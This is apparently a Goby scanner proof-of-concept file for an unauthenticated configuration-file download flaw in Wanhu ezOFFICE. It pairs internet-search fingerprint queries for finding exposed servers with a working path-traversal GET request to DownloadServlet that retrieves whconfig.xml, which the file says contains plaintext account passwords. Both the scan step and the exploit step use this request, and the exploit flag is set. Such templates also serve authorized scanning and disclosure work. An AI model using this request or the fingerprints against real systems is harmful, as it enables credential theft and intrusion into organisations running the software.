Goby/json/Wanhu-ezOFFICE-configuration-file-download-vulnerability.json

{
  "Name": "Wanhu ezOFFICE configuration file download vulnerability",
  "Description": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Wanhu ezOFFICE unauthorized configuration file download vulnerability, the configuration file contains a large amount of sensitive data, including plaintext account passwords</span><br></p>",
  "Product": "Wanhu ezOFFICE",
  "Homepage": "http://www.whir.net/",
  "DisclosureDate": "2022-04-06",
  "Author": "jweny",
  "FofaQuery": "title=\"ezOFFICE\" || body=\"EZOFFICEUSERNAME\" || title=\"万户OA\" || body=\"whirRootPath\" || body=\"/defaultroot/js/cookie.js\" || header=\"LocLan\"",
  "GobyQuery": "title=\"ezOFFICE\" || body=\"EZOFFICEUSERNAME\" || title=\"万户OA\" || body=\"whirRootPath\" || body=\"/defaultroot/js/cookie.js\" || header=\"LocLan\"",
  "Level": "2",
  "Impact": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Wanhu ezOFFICE unauthorized configuration file download vulnerability, the configuration file contains a large amount of sensitive data, including plaintext account passwords</span><br></p>",
  "Recommendation": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Follow the manufacturer's homepage and upgrade to the safe version</span><br></p>",
  "References": [
    "无"
  ],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/defaultroot/DownloadServlet?key=&path=..\\WEB-INF\\config&FileName=whconfig.xml&name=whconfig.xml",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "EzOffice",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "text/xml",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/defaultroot/DownloadServlet?key=&path=..\\WEB-INF\\config&FileName=whconfig.xml&name=whconfig.xml",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "EzOffice",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "Tags": [
    "Information Disclosure"
  ],
  "VulType": [
    "Information Disclosure"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "9.0",
  "Translation": {
    "CN": {
      "Name": "万户 ezOFFICE 配置文件下载漏洞",
      "Product": "万户 ezOFFICE ",
      "Description": "<p><span style=\"color: var(--primaryFont-color);\">万户ezOFFICE未经授权的配置文件下载漏洞，配置文件包含大量敏感数据，包括明文账号密码</span><br></p>",
      "Recommendation": "<p>关注厂商主页，升级至最新版本：<a href=\"http://www.whir.net/\" rel=\"nofollow\">http://www.whir.net/</a></p>",
      "Impact": "<p>万户ezOFFICE未经授权的配置文件下载漏洞，配置文件包含大量敏感数据，包括明文账号密码<br></p>",
      "VulType": [
        "信息泄漏"
      ],
      "Tags": [
        "信息泄漏"
      ]
    },
    "EN": {
      "Name": "Wanhu ezOFFICE configuration file download vulnerability",
      "Product": "Wanhu ezOFFICE",
      "Description": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Wanhu ezOFFICE unauthorized configuration file download vulnerability, the configuration file contains a large amount of sensitive data, including plaintext account passwords</span><br></p>",
      "Recommendation": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Follow the manufacturer's homepage and upgrade to the safe version</span><br></p>",
      "Impact": "<p><span style=\"color: rgba(255, 255, 255, 0.87); font-size: 16px;\">Wanhu ezOFFICE unauthorized configuration file download vulnerability, the configuration file contains a large amount of sensitive data, including plaintext account passwords</span><br></p>",
      "VulType": [
        "Information Disclosure"
      ],
      "Tags": [
        "Information Disclosure"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}